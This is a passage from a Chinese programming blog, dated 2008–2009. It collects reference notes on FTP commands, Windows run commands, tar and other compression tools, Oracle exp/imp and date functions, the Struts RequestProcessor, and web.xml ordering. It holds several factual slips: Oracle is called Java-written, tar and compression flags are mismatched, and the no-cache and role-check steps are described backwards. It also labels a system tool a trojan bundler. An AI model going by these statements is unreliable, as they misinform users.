    31.mget remote-files:傳輸多個遠程文件。
    32.mkdir dir-name:在遠程主機中建一目錄。

    33.mls remote-file local-file:同nlist,但可指定多個文件名。
    34.mode[modename]:將文件傳輸方式設置為modename, 缺省為stream方式。

    35.modtime file-name:顯示遠程主機文件的最后修改時間。
    36.mput local-file:將多個文件傳輸至遠程主機。

    37.newer file-name: 如果遠程機中file-name的修改時間比本地硬盤同名文件的時間更近,則重傳該文件。
    38.nlist[remote-dir][local-file]:顯示遠程主機目錄的文件清單,并存入本地硬盤的local-file。

    39.nmap[inpattern outpattern]:設置文件名映射機制, 使得文件傳輸時,文件中的某些字符相互轉換, 如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時,文件名變為a1,a2。 該命令特別適用于遠程主機為非UNIX機的情況。
    40.ntrans[inchars[outchars]]:設置文件名字符的翻譯機制,如ntrans1R,則文件名LLL將變為RRR。

    41.open host[port]:建立指定ftp服務器連接,可指定連接端口。
    42.passive:進入被動傳輸方式。

    43.prompt:設置多個文件傳輸時的交互提示。
    44.proxy ftp-cmd:在次要控制連接中,執行一條ftp命令, 該命令允許連接兩個ftp服務器,以在兩個服務器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個服務器間的連接。
    45.put local-file[remote-file]:將本地文件local-file傳送至遠程主機。
    46.pwd:顯示遠程主機的當前工作目錄。

    47.quit:同bye,退出ftp會話。
    48.quote arg1,arg2...:將參數逐字發至遠程ftp服務器,如:quote syst.

    49.recv remote-file[local-file]:同get。
    50.reget remote-file[local-file]:類似于get, 但若local-file存在,則從上次傳輸中斷處續傳。

    51.rhelp[cmd-name]:請求獲得遠程主機的幫助。
    52.rstatus[file-name]:若未指定文件名,則顯示遠程主機的狀態, 否則顯示文件狀態。

    53.rename[from][to]:更改遠程主機文件名。
    54.reset:清除回答隊列。

    55.restart marker:從指定的標志marker處,重新開始get或put,如:restart 130。
    56.rmdir dir-name:刪除遠程主機目錄。

    57.runique:設置文件名只一性存儲,若文件存在,則在原文件后加后綴.1, .2等。
    58.send local-file[remote-file]:同put。

    59.sendport:設置PORT命令的使用。
    60.site arg1,arg2...:將參數作為SITE命令逐字發送至遠程ftp主機。

    61.size file-name:顯示遠程主機文件大小,如:site idle 7200。
    62.status:顯示當前ftp狀態。

    63.struct[struct-name]:將文件傳輸結構設置為struct-name, 缺省時使用stream結構。
    64.sunique:將遠程主機文件名存儲設置為只一(與runique對應)。

    65.system:顯示遠程主機的操作系統類型。
    66.tenex:將文件傳輸類型設置為TENEX機的所需的類型。

    67.tick:設置傳輸時的字節計數器。
    68.trace:設置包跟蹤。

    69.type[type-name]:設置文件傳輸類型為type-name,缺省為ascii,如:type binary,設置二進制傳輸方式。
    70.umask[newmask]:將遠程服務器的缺省umask設置為newmask,如:umask 3

    71.user user-name[password][account]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:user anonymous my@email。
    72.verbose:同命令行的-v參數,即設置詳盡報告方式,ftp 服務器的所有響 應都將顯示給用戶,缺省為on.

    73.?[cmd]:同help.

    #11 十一:

    7:計算機運行命令全集 winver---------檢查Windows版本
    wmimgmt.msc----打開windows管理體系結構
    wupdmgr--------windows更新程序
    winver---------檢查Windows版本
    wmimgmt.msc----打開windows管理體系結構
    wupdmgr--------windows更新程序
    wscript--------windows腳本宿主設置
    write----------寫字板winmsd-----系統信息
    wiaacmgr-------掃描儀和照相機向導
    winchat--------XP自帶局域網聊天
    mem.exe--------顯示內存使用情況
    Msconfig.exe---系統配置實用程序
    mplayer2-------簡易widnows media player
    mspaint--------畫圖板
    mstsc----------遠程桌面連接
    mplayer2-------媒體播放機
    magnify--------放大鏡實用程序
    mmc------------打開控制臺
    mobsync--------同步命令
    dxdiag---------檢查DirectX信息
    drwtsn32------ 系統醫生
    devmgmt.msc--- 設備管理器
    dfrg.msc-------磁盤碎片整理程序
    diskmgmt.msc---磁盤管理實用程序
    dcomcnfg-------打開系統組件服務
    ddeshare-------打開DDE共享設置
    dvdplay--------DVD播放器
    net stop messenger-----停止信使服務
    net start messenger----開始信使服務
    notepad--------打開記事本
    nslookup-------網絡管理的工具向導
    ntbackup-------系統備份和還原
    narrator-------屏幕"講述人"
    ntmsmgr.msc----移動存儲管理器
    ntmsoprq.msc---移動存儲管理員操作請求
    netstat -an----(TC)命令檢查接口
    syncapp--------創建一個公文包
    sysedit--------系統配置編輯器
    sigverif-------文件簽名驗證程序
    sndrec32-------錄音機
    shrpubw--------創建共享文件夾
    secpol.msc-----本地安全策略
    syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼
    services.msc---本地服務設置
    Sndvol32-------音量控制程序
    sfc.exe--------系統文件檢查器
    sfc /scannow---windows文件保護
    tsshutdn-------60秒倒計時關機命令
    tourstart------xp簡介(安裝完成后出現的漫游xp程序)
    taskmgr--------任務管理器
    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打開資源管理器
    packager-------對象包裝程序
    perfmon.msc----計算機性能監測程序
    progman--------程序管理器
    regedit.exe----注冊表
    rsop.msc-------組策略結果集
    regedt32-------注冊表編輯器
    rononce -p ----15秒關機
    regsvr32 /u *.dll----停止dll文件運行
    regsvr32 /u zipfldr.dll------取消ZIP支持
    cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盤檢查
    certmgr.msc----證書管理實用程序
    calc-----------啟動計算器
    charmap--------啟動字符映射表
    cliconfg-------SQL SERVER 客戶端網絡實用程序
    Clipbrd--------剪貼板查看器
    conf-----------啟動netmeeting
    compmgmt.msc---計算機管理
    cleanmgr-------**整理
    ciadv.msc------索引服務程序
    osk------------打開屏幕鍵盤
    odbcad32-------ODBC數據源管理器
    oobe/msoobe /a----檢查XP是否激活
    lusrmgr.msc----本機用戶和組
    logoff---------注銷命令
    iexpress-------木馬捆綁工具,系統自帶
    Nslookup-------IP地址偵測器
    fsmgmt.msc-----共享文件夾管理器
    utilman--------輔助工具管理器
    gpedit.msc-----組策略

    posted @ 2009-07-20 15:26 Fighter 閱讀(360) | 評論 (0)編輯 收藏

    2009年5月22日 #

    tar命令
    tar 可以為文件和目錄創建檔案。利用tar,用戶可以為某一特定文件創建檔案(備份文件),也可以在檔案中改變文件,或者向檔案中加入新的文
    件。tar最初被用來在磁帶上創建檔案,現在,用戶可以在任何設備上創建檔案,如軟盤。利用tar命令,可以把一大堆的文件和目錄全部打包成一個文件,這
    對于備份文件或將幾個文件組合成為一個文件以便于網絡傳輸是非常有用的。[url=javascript:;]Linux[/url]上的tar是GNU版本的。
    語法:tar [主選項+輔選項] 文件或者目錄
    使用該命令時,主選項是必須要有的,它告訴tar要做什么事情,輔選項是輔助使用的,可以選用。
    主選項:
    c 創建新的檔案文件。如果用戶想備份一個目錄或是一些文件,就要選擇這個選項。
    r 把要存檔的文件追加到檔案文件的未尾。例如用戶已經作好備份文件,又發現還有一個目錄或是一些文件忘記備份了,這時可以使用該選項,將忘記的目錄或文件追加到備份文件中。
    t 列出檔案文件的內容,查看已經備份了哪些文件。
    u 更新文件。就是說,用新增的文件取代原備份文件,如果在備份文件中找不到要更新的文件,則把它追加到備份文件的最后。
    x 從檔案文件中釋放文件。
    輔助選項:
    b 該選項是為磁帶機設定的。其后跟一數字,用來說明區塊的大小,系統預設值為20(20*512 bytes)。
    f 使用檔案文件或設備,這個選項通常是必選的。
    k 保存已經存在的文件。例如我們把某個文件還原,在還原的過程中,遇到相同的文件,不會進行覆蓋。
    m 在還原文件時,把所有文件的修改時間設定為現在。
    M 創建多卷的檔案文件,以便在幾個磁盤中存放。
    v 詳細報告tar處理的文件信息。如無此選項,tar不報告文件信息。
    w 每一步都要求確認。
    z 用gzip來壓縮/解壓縮文件,加上該選項后可以將檔案文件進行壓縮,但還原時也一定要使用該選項進行解壓縮。
    Linux下的壓縮文件剖析
    對于剛剛接觸Linux的人來說,一定會給Linux下一大堆各式各樣的文件名給搞暈。別個不說,單單就壓縮文件為例,我們知道在[url=javascript:;]Windows[/url]
    下最常見的壓縮文件就只有兩種,一是,zip,另一個是.rap。可是Linux就不同了,它有.gz、.tar.gz、tgz、bz2、.Z、.tar
    等眾多的壓縮文件名,此外windows下的.zip和.rar也可以在Linux下使用,不過在Linux使用.zip和.rar的人就太少了。本文就
    來對這些常見的壓縮文件進行一番小結,希望你下次遇到這些文件時不至于被搞暈。
      在具體總結各類壓縮文件之前呢,首先要弄清兩個概念:打包和壓縮。打包是指將一大堆文件或目錄什么的變成一個總的文件,壓縮則是將一個大的文
    件通過一些壓縮算法變成一個小文件。為什么要區分這兩個概念呢?其實這源于Linux中的很多壓縮程序只能針對一個文件進行壓縮,這樣當你想要壓縮一大堆
    文件時,你就得先借助另它的工具將這一大堆文件先打成一個包,然后再就原來的壓縮程序進行壓縮。
      Linux下最常用的打包程序就是tar了,使用tar程序打出來的包我們常稱為tar包,tar包文件的命令通常都是以.tar結尾的。生成tar包后,就可以用[url=javascript:;]其它[/url]的程序來進行壓縮了,所以首先就來講講tar命令的基本用法:
      tar命令的選項有很多(用man tar可以查看到),但常用的就那么幾個選項,下面來舉例說明一下:
      # tar -cf all.tar *.jpg
      這條命令是將所有.jpg的文件打成一個名為all.tar的包。-c是表示產生新的包,-f指定包的文件名。
      # tar -rf all.tar *.gif
      這條命令是將所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。
    # tar -uf all.tar logo.gif
      這條命令是更新原來tar包all.tar中logo.gif文件,-u是表示更新文件的意思。
      # tar -tf all.tar
      這條命令是列出all.tar包中所有文件,-t是列出文件的意思
      # tar -xf all.tar
      這條命令是解出all.tar包中所有文件,-t是解開的意思
      以上就是tar的最基本的用法。為了方便用戶在打包解包的同時可以壓縮或解壓文件,tar提供了一種特殊的功能。這就是tar可以在打包或解包的同時調用其它的壓縮程序,比如調用gzip、bzip2等。
      1) tar調用gzip
      gzip是GNU組織開發的一個壓縮程序,.gz結尾的文件就是gzip壓縮的結果。與gzip相對的解壓程序是gunzip。tar中使用-z這個參數來調用gzip。下面來舉例說明一下:
      # tar -czf all.tar.gz *.jpg
      這條命令是將所有.jpg的文件打成一個tar包,并且將其用gzip壓縮,生成一個gzip壓縮過的包,包名為all.tar.gz
      # tar -xzf all.tar.gz
      這條命令是將上面產生的包解開。
      2) tar調用bzip2
      bzip2是一個壓縮能力更強的壓縮程序,.bz2結尾的文件就是bzip2壓縮的結果。與bzip2相對的解壓程序是bunzip2。tar中使用-j這個參數來調用gzip。下面來舉例說明一下:
      # tar -cjf all.tar.bz2 *.jpg
      這條命令是將所有.jpg的文件打成一個tar包,并且將其用bzip2壓縮,生成一個bzip2壓縮過的包,包名為all.tar.bz2
      # tar -xjf all.tar.bz2
      這條命令是將上面產生的包解開。
    3)tar調用compress
      compress也是一個壓縮程序,但是好象使用compress的人不如gzip和bzip2的人多。.Z結尾的文件就是bzip2壓縮的
    結果。與 compress相對的解壓程序是uncompress。tar中使用-Z這個參數來調用gzip。下面來舉例說明一下:
      # tar -cZf all.tar.Z *.jpg
      這條命令是將所有.jpg的文件打成一個tar包,并且將其用compress壓縮,生成一個uncompress壓縮過的包,包名為all.tar.Z
      # tar -xZf all.tar.Z
      這條命令是將上面產生的包解開
      有了上面的知識,你應該可以解開多種壓縮文件了,下面對于tar系列的壓縮文件作一個小結:
      1)對于.tar結尾的文件
      tar -xf all.tar
      2)對于.gz結尾的文件
      gzip -d all.gz
      gunzip all.gz
      3)對于.tgz或.tar.gz結尾的文件
      tar -xzf all.tar.gz
      tar -xzf all.tgz
      4)對于.bz2結尾的文件
      bzip2 -d all.bz2
      bunzip2 all.bz2
      5)對于tar.bz2結尾的文件
      tar -xjf all.tar.bz2
      6)對于.Z結尾的文件
      uncompress all.Z
      7)對于.tar.Z結尾的文件
      tar -xZf all.tar.z
      另外對于Window下的常見壓縮文件.zip和.rar,Linux也有相應的方法來解壓它們:
      1)對于.zip
      linux下提供了zip和unzip程序,zip是壓縮程序,unzip是解壓程序。它們的參數選項很多,這里只做簡單介紹,依舊舉例說明一下其用法:
      # zip all.zip *.jpg
      這條命令是將所有.jpg的文件壓縮成一個zip包
    # unzip all.zip
      這條命令是將all.zip中的所有文件解壓出來
      2)對于.rar
      要在linux下處理.rar文件,需要安裝RAR for Linux,可以從網上下載,但要記住,RAR for Linux
    不是免費的;然后安裝:
      # tar -xzpvf rarlinux-3.2.0.tar.gz
      # cd rar
      # make
      這樣就安裝好了,安裝后就有了rar和unrar這兩個程序,rar是壓縮程序,unrar是解壓程序。它們的參數選項很多,這里只做簡單介紹,依舊舉例說明一下其用法:
      # rar a all *.jpg
      這條命令是將所有.jpg的文件壓縮成一個rar包,名為all.rar,該程序會將.rar 擴展名將自動附加到包名后。
      # unrar e all.rar
      這條命令是將all.rar中的所有文件解壓出來
      到此為至,我們已經介紹過linux下的tar、gzip、gunzip、bzip2、bunzip2、compress、
    uncompress、 zip、unzip、rar、unrar等程式,你應該已經能夠使用它們對.tar、.gz、.tar.gz、.tgz、.
    bz2、.tar.bz2、. Z、.tar.Z、.zip、.rar這10種壓縮文件進行解壓了,以后應該不需要為下載了一個軟件而不知道如何在
    Linux下解開而煩惱了。而且以上方法對于Unix也基本有效。
      本文介紹了linux下的壓縮程式tar、gzip、gunzip、bzip2、bunzip2、 compress、
    uncompress、zip、unzip、rar、unrar等程式,以及如何使用它們對.tar、.gz、.tar.gz、. tgz、.bz2、.
    tar.bz2、.Z、.tar.Z、.zip、.rar這10種壓縮文件進行操作.
    posted @ 2009-05-22 13:47 Fighter 閱讀(449) | 評論 (0)編輯 收藏

    2009年5月21日 #

    在pl/sql中使用exp/imp工具實現oracle數據導出/導入Oracle 數據導入導出imp/exp就相當于oracle數據還原與備份。exp命令可以把數據從遠程數據庫服務器導出到本地的dmp文件,imp命令可以把 dmp文件從本地導入到遠處的數據庫服務器中。 利用這個功能可以構建兩個相同的數據庫,一個用來測試,一個用來正式使用。

    執行環境:可以在SQLPLUS.EXE或者DOS(命令行)中執行,
    DOS中可以執行時由于 在oracle 8i 中 安裝目錄\ora81\BIN被設置為全局路徑,
    該目錄下有EXP.EXE與IMP.EXE文件被用來執行導入導出。
    oracle用java編寫,SQLPLUS.EXE、EXP.EXE、IMP.EXE這兩個文件有可能是被包裝后的類文件。
    SQLPLUS.EXE調用EXP.EXE、IMP.EXE所包裹的類,完成導入導出功能。

    下面介紹的是導入導出的實例。
    數據導出:
    1 將數據庫TEST完全導出,用戶名system 密碼manager 導出到D:\daochu.dmp中
       exp system/manager@TEST file=d:\daochu.dmp full=y
    2 將數據庫中system用戶與sys用戶的表導出
       exp system/manager@TEST file=d:\daochu.dmp owner=(system,sys)
    3 將數據庫中的表inner_notify、notify_staff_relat導出
        exp aichannel/aichannel@TESTDB2 file= d:\data\newsmgnt.dmp tables=(inner_notify,notify_staff_relat)

    4 將數據庫中的表table1中的字段filed1以"00"打頭的數據導出
       exp system/manager@TEST file=d:\daochu.dmp tables=(table1) query=\" where filed1 like '00%'\"

    上面是常用的導出,對于壓縮,既用winzip把dmp文件可以很好的壓縮。
    也可以在上面命令后面 加上 compress=y 來實現。
    數據的導入
    1 將D:\daochu.dmp 中的數據導入 TEST數據庫中。
       imp system/manager@TEST file=d:\daochu.dmp
       imp aichannel/aichannel@HUST full=y file=file= d:\data\newsmgnt.dmp ignore=y
       上面可能有點問題,因為有的表已經存在,然后它就報錯,對該表就不進行導入。
       在后面加上 ignore=y 就可以了。
    2 將d:\daochu.dmp中的表table1 導入
    imp system/manager@TEST file=d:\daochu.dmp tables=(table1)

    基本上上面的導入導出夠用了。不少情況要先是將表徹底刪除,然后導入。

    注意:
    操作者要有足夠的權限,權限不夠它會提示。
    數據庫時可以連上的。可以用tnsping TEST 來獲得數據庫TEST能否連上。

    附錄一:
    給用戶增加導入數據權限的操作
    第一,啟動sql*puls
    第二,以system/manager登陸
    第三,create user 用戶名 IDENTIFIED BY 密碼 (如果已經創建過用戶,這步可以省略)
    第四,GRANT CREATE USER,DROP USER,ALTER USER ,CREATE ANY VIEW ,
       DROP ANY VIEW,EXP_FULL_DATABASE,IMP_FULL_DATABASE,
        DBA,CONNECT,RESOURCE,CREATE SESSION TO 用戶名字
    第五, 運行-cmd-進入dmp文件所在的目錄,
        imp userid=system/manager full=y file=*.dmp
         或者 imp userid=system/manager full=y file=filename.dmp

    執行示例:
    F:\Work\Oracle_Data\backup>imp userid=test/test full=y file=inner_notify.dmp

    屏幕顯示
    Import: Release 8.1.7.0.0 - Production on 星期四 2月 16 16:50:05 2006
    (c) Copyright 2000 Oracle Corporation. All rights reserved.

    連接到: Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production
    With the Partitioning option
    JServer Release 8.1.7.0.0 - Production

    經由常規路徑導出由EXPORT:V08.01.07創建的文件
    已經完成ZHS16GBK字符集和ZHS16GBK NCHAR 字符集中的導入
    導出服務器使用UTF8 NCHAR 字符集 (可能的ncharset轉換)
    . 正在將AICHANNEL的對象導入到 AICHANNEL
    . . 正在導入表                  "INNER_NOTIFY"          4行被導入
    準備啟用約束條件...
    成功終止導入,但出現警告。


    附錄二:
    Oracle 不允許直接改變表的擁有者, 利用Export/Import可以達到這一目的.
    先建立import9.par,
    然后,使用時命令如下:imp parfile=/filepath/import9.par
    例 import9.par 內容如下:
            FROMUSER=TGPMS       
            TOUSER=TGPMS2     (注:把表的擁有者由FROMUSER改為TOUSER,FROMUSER和TOUSER的用戶可以不同)          
            ROWS=Y
            INDEXES=Y
            GRANTS=Y
            CONSTRAINTS=Y
            BUFFER=409600
            file==/backup/ctgpc_20030623.dmp
            log==/backup/import_20030623.log

    posted @ 2009-05-21 15:39 Fighter 閱讀(1204) | 評論 (0)編輯 收藏

    1.TRUNC(for dates)
    TRUNC函數為指定元素而截去的日期值。
    其具體的語法格式如下:
    TRUNC(date[,fmt])
    其中:
    date 一個日期值
    fmt 日期格式,該日期將由指定的元素格式所截去。忽略它則由最近的日期截去
    下面是該函數的使用情況:
    TRUNC(TO_DATE(’24-Nov-1999 08:00 pm’,’dd-mon-yyyy hh:mi am’))
    =’24-Nov-1999 12:00:00 am’
    TRUNC(TO_DATE(’24-Nov-1999 08:37 pm’,’dd-mon-yyyy hh:mi am’,’hh’)) =’24-Nov-1999 08:00:00 am’
    trunc(sysdate,'yyyy') --返回當年第一天.
    trunc(sysdate,'mm') --返回當月第一天.
    trunc(sysdate,'d') --返回當前星期的第一天.


    2.TRUNC(for number)
    TRUNC函數返回處理后的數值,其工作機制與ROUND函數極為類似,只是該函數不對指定小數前或后的部分做相應舍入選擇處理,而統統截去。
    其具體的語法格式如下
    TRUNC(number[,decimals])
    其中:
    number 待做截取處理的數值
    decimals 指明需保留小數點后面的位數。可選項,忽略它則截去所有的小數部分
    下面是該函數的使用情況:
    TRUNC(89.985,2)=89.98
    TRUNC(89.985)=89
    TRUNC(89.985,-1)=80
    注意:第二個參數可以為負數,表示為小數點左邊指定位數后面的部分截去,即均以0記。

    posted @ 2009-05-21 15:36 Fighter 閱讀(1337) | 評論 (0)編輯 收藏

    在oracle中有很多關于日期的函數,如:
    1、add_months()用于從一個日期值增加或減少一些月份
    date_value:=add_months(date_value,number_of_months)
    例:
    SQL> select add_months(sysdate,12) "Next Year" from dual;
     
    Next Year
    ----------
    13-11月-04
     
    SQL> select add_months(sysdate,112) "Last Year" from dual;
     
    Last Year
    ----------
    13-3月 -13
     
    SQL> 
     
    2、current_date()返回當前會放時區中的當前日期
    date_value:=current_date
    SQL> column sessiontimezone for a15
    SQL> select sessiontimezone,current_date from dual;
     
    SESSIONTIMEZONE CURRENT_DA
    --------------- ----------
    +08:00          13-11月-03
     
    SQL> alter session set time_zone='-11:00'
       2  /
     
    會話已更改。
     
    SQL> select sessiontimezone,current_timestamp from dual;
     
    SESSIONTIMEZONE CURRENT_TIMESTAMP
    --------------- ------------------------------------
    -11:00          12-11月-03 04.59.13.668000 下午 -11:
                     00
     
    SQL> 
     
    3、current_timestamp()以timestamp with time zone數據類型返回當前會放時區中的當前日期
    timestamp_with_time_zone_value:=current_timestamp([timestamp_precision])
    SQL> column sessiontimezone for a15
    SQL> column current_timestamp format a36
    SQL> select sessiontimezone,current_timestamp from dual;
     
    SESSIONTIMEZONE CURRENT_TIMESTAMP
    --------------- ------------------------------------
    +08:00          13-11月-03 11.56.28.160000 上午 +08:
                     00
     
    SQL> alter session set time_zone='-11:00'
       2  /
     
    會話已更改。
     
    SQL> select sessiontimezone,current_timestamp from dual;
     
    SESSIONTIMEZONE CURRENT_TIMESTAMP
    --------------- ------------------------------------
    -11:00          12-11月-03 04.58.00.243000 下午 -11:
                     00
     
    SQL> 
     
    4、dbtimezone()返回時區
    varchar_value:=dbtimezone
    SQL> select dbtimezone from dual;
     
    DBTIME
    ------
    -07:00
     
    SQL> 
     
    5、extract()找出日期或間隔值的字段值
    date_value:=extract(date_field from [datetime_value|interval_value])
    SQL> select extract(month from sysdate) "This Month" from dual;
     
    This Month
    ----------
             11
     
    SQL> select extract(year from add_months(sysdate,36)) "3 Years Out" from dual;
     
    3 Years Out
    -----------
            2006
     
    SQL> 
     
    6、last_day()返回包含了日期參數的月份的最后一天的日期
    date_value:=last_day(date_value)
    SQL> select last_day(date'2000-02-01') "Leap Yr?" from dual;
     
    Leap Yr?
    ----------
    29-2月 -00
     
    SQL> select last_day(sysdate) "Last day of this month" from dual;
     
    Last day o
    ----------
    30-11月-03
     
    SQL> 
     
    7、localtimestamp()返回會話中的日期和時間
    timestamp_value:=localtimestamp
    SQL> column localtimestamp format a28
    SQL> select localtimestamp from dual;
     
    LOCALTIMESTAMP
    ----------------------------
    13-11月-03 12.09.15.433000
    下午
     
    SQL> select localtimestamp,current_timestamp from dual;
     
    LOCALTIMESTAMP               CURRENT_TIMESTAMP
    ---------------------------- ------------------------------------
    13-11月-03 12.09.31.006000   13-11月-03 12.09.31.006000 下午 +08:
    下午                         00
    &



    ----Comments

    Oracle的解惑一二to_date()與24小時制表示法及mm分鐘的顯示:
    一、在使用Oracle的to_date函數來做日期轉換時,很多Java程序員也許會和我一樣,直覺的采用“yyyy-MM-dd HH:mm:ss”的格式作為格式進行轉換,但是在Oracle中會引起錯誤:“ORA 01810 格式代碼出現兩次”。
    如:select to_date('2005-01-01 13:14:20','yyyy-MM-dd HH24:mm:ss') from dual;
    原因是SQL中不區分大小寫,MM和mm被認為是相同的格式代碼,所以Oracle的SQL采用了mi代替分鐘。
    select to_date('2005-01-01 13:14:20','yyyy-MM-dd HH24:mi:ss') from dual;

    二、另要以24小時的形式顯示出來要用HH24
    select to_char(sysdate,'yyyy-MM-dd HH24:mi:ss') from dual;//mi是分鐘
    select to_char(sysdate,'yyyy-MM-dd HH24:mm:ss') from dual;//mm會顯示月份

    ToDate 把字符串轉化為date類型
    ToChar 可以把日期轉化為想要的格式的字符串

    posted @ 2009-05-21 15:35 Fighter 閱讀(621) | 評論 (0)編輯 收藏

    2008年12月31日 #

    對于RequestProcessor這個類,有的人可能很陌生,畢竟它不象ActionSerlvet那樣,在我們的面前頻繁的出現。但是,RequestProcessor用的要遠比ActionServlet多,那么RequestProcessor到底是干什么的呢?當ActionServlet接收到客戶請求后,會進行一連串的初始化操作,然后,就會將客戶請求轉交給合適的處理器進行處理,這個合適的處理器就是org.apache.struts.action.RequestProcessor。既然我們知道了RequestProcessor的用處,下面我們就詳細的分析下這個處理器類。
    1.調用processMultipart( )方法,如果HttpServletRequest是POST方式,且請求為multipart/form-data ,Struts框架將請求對象包裝成處理multipart 請求專用的請求對象,否則,只是簡單地返回原有的請求對象。一般來說,除非需要處理文件上傳,否則不用關心multipart 功能的具體細節。
    2.調用processPath( ) 方法,該方法用來從請求URL中獲應用取路徑部分。獲取到的信息在稍后的步驟中用于選擇合適的Struts Action調用。
    3.調用processLocale( )方法,處理一些國際化的事務。
    4.調用方法processContent( ),來決定請求的content type編碼(encoding)方式。content type可以配合在配置文件中,也可以在jsp文件中配置,默認為text/html。
    5.根據noCache屬性的設置調用processNoCache( ) 方法,如果noCache設置為true。則添加合適的響應頭到響應對象中,使得頁面保留在瀏覽器的Cache中。這些響應頭包含Pragma, Cache-Control, 和Expires 。
    6.調用processPreprocess( )方法,這個方法在這兒設置一個鉤子,方法的默認實現只是簡單地返回true,這樣給了自定義處理器的開發者提供了一個合適的地方讓你添加自己的業務邏輯。因為這個方法在調用Action之前被調用,如果你重載這個方法,只需要返回false,則Action就不會被調用。例如,你可以重載這個方法用戶檢查客戶session,如果不通過就返回false。
    7.調用processMapping( )方法,根據客戶請求信息中的path 信息來決定是否返回ActionMapping對象實例。如果不能夠找到path 的映射,則客戶將會得到一個error 響應。
    8.通過調用processRoles( )方法,檢查是否為Action配置了安全角色。如果配置了角色要求,則請求對象的isUserInRole( )方法被調用,如果用戶屬于這些角色,則客戶會得到顯示一個error 響應。
    9.調用processActionForm( )方法,檢查是否存在為ActionMapping配置的ActionForm 。如果存在,則在有效區域內查找是否存在該ActionForm 的實例,存在,則復用,不存在,則創建一個實例。然后將實例保存與再配置文件中配置好的有效區域(request,session,application)內,并用Action元素的name屬性作為該實例的關鍵字。
    10.調用processPopulate( )方法,如果存在為ActionMapping配置的ActionForm,則封裝請求對象中的數據到ActionForm 中,在進行封裝之前,先調用ActionForm 的reset( )方法進行屬性值的默認化。
    11.調用processValidate( )方法,如果ActionForm被配置好,并且action元素的屬性validate被設置為true ,則進一步調用validate( )方法進行規則校驗。如果validate( )方法校驗失敗,就會保存一個ActionErrors 對象到請求區域中,請求將會自動重定向到action映射的input屬性所指定的頁面中。如果校驗通過或在action 映射中沒有配置ActionForm,則繼續處理請求。
    12.根據action 映射是否配置了forward屬性或include屬性來決定下一步操作。如果配置了任意一個,則相應地調用RequestDispatcher對象的forward( )方法或include( )方法,調用后,對客戶請求的處理結束。否則,繼續處理請求。
    13.調用processActionCreate( )方法,創建或獲取一個Action對象實例處理請求。processActionCreate( )方法會在緩存中查找是否存在已經創建好的Action實例,如果存在,則復用,否則,則重新創建并將其村于緩存中。
    14.調用processActionPerform( )方法,該方法用于在一個try/catch 代碼塊中調用action 實例的execute( )方法,這樣確保action 的execute( )方法一旦發生執行異常能夠被RequestProcessor捕獲。
    15.調用processActionForward( )方法,并傳入action的execute( )方法所返回的ActionForward對象實例,方法通過檢查ActionForward對象實例,決定采用redirect或forword方式進行重定向。究竟采用redirect還是
    forword取決于forward元素的redirect屬性值。

    上面這些分析,也是我在網上搜集的資料并加以整理總結出來的,在實際的應用開發中,如果我們想對Struts在初始化的時候進行一些擴展,我們可以重新寫ActionServlet的子類,或RequestProcessor的子類,但是不建議去寫ActionServlet的子類,在RequestProcessor中為我們提供了processPreprocess()這個鉤子方法,這樣,我們可以去重寫這個方法,來進行擴展。雖然RequestProcessor在表面上不是很常用到,但是他給人的感覺卻恰恰相反,這個類用來處理我們每一次的請求,所以,更好的了解RequestProcessor類對我們來說很重要。
    posted @ 2008-12-31 11:07 Fighter 閱讀(860) | 評論 (0)編輯 收藏

    2008年8月23日 #

    1 定義頭和根元素

    部署描述符文件就像所有XML文件一樣,必須以一個XML頭開始。這個頭聲明可以使用的XML版本并給出文件的字符編碼。
    DOCYTPE聲明必須立即出現在此頭之后。這個聲明告訴服務器適用的servlet規范的版本(如2.2或2.3)并指定管理此文件其余部分內容的語法的DTD(Document Type Definition,文檔類型定義)。
    所有部署描述符文件的頂層(根)元素為web-app。請注意,XML元素不像HTML,他們是大小寫敏感的。因此,web-App和WEB-APP都是不合法的,web-app必須用小寫。

    2 部署描述符文件內的元素次序

    XML 元素不僅是大小寫敏感的,而且它們還對出現在其他元素中的次序敏感。例如,XML頭必須是文件中的第一項,DOCTYPE聲明必須是第二項,而web- app元素必須是第三項。在web-app元素內,元素的次序也很重要。服務器不一定強制要求這種次序,但它們允許(實際上有些服務器就是這樣做的)完全 拒絕執行含有次序不正確的元素的Web應用。這表示使用非標準元素次序的web.xml文件是不可移植的。
    下面的列表給出了所有可直接出現在web-app元素內的合法元素所必需的次序。例如,此列表說明servlet元素必須出現在所有servlet-mapping元素之前。請注意,所有這些元素都是可選的。因此,可以省略掉某一元素,但不能把它放于不正確的位置。
    l icon icon元素指出IDE和GUI工具用來表示Web應用的一個和兩個圖像文件的位置。
    l display-name display-name元素提供GUI工具可能會用來標記這個特定的Web應用的一個名稱。
    l description description元素給出與此有關的說明性文本。
    l context-param context-param元素聲明應用范圍內的初始化參數。
    l filter 過濾器元素將一個名字與一個實現javax.servlet.Filter接口的類相關聯。
    l filter-mapping 一旦命名了一個過濾器,就要利用filter-mapping元素把它與一個或多個servlet或JSP頁面相關聯。
    l listener servlet API的版本2.3增加了對事件監聽程序的支持,事件監聽程序在建立、修改和刪除會話或servlet環境時得到通知。Listener元素指出事件監聽程序類。
    l servlet 在向servlet或JSP頁面制定初始化參數或定制URL時,必須首先命名servlet或JSP頁面。Servlet元素就是用來完成此項任務的。
    l servlet-mapping 服務器一般為servlet提供一個缺省的URL:http://host/webAppPrefix/servlet/ServletName。但是,常常會更改這個URL,以便servlet可以訪問初始化參數或更容易地處理相對URL。在更改缺省URL時,使用servlet-mapping元素。
    l session-config 如果某個會話在一定時間內未被訪問,服務器可以拋棄它以節省內存。可通過使用HttpSession的setMaxInactiveInterval方法 明確設置單個會話對象的超時值,或者可利用session-config元素制定缺省超時值。
    l mime-mapping 如果Web應用具有想到特殊的文件,希望能保證給他們分配特定的MIME類型,則mime-mapping元素提供這種保證。
    l welcom-file-list welcome-file-list元素指示服務器在收到引用一個目錄名而不是文件名的URL時,使用哪個文件。
    l error-page error-page元素使得在返回特定HTTP狀態代碼時,或者特定類型的異常被拋出時,能夠制定將要顯示的頁面。
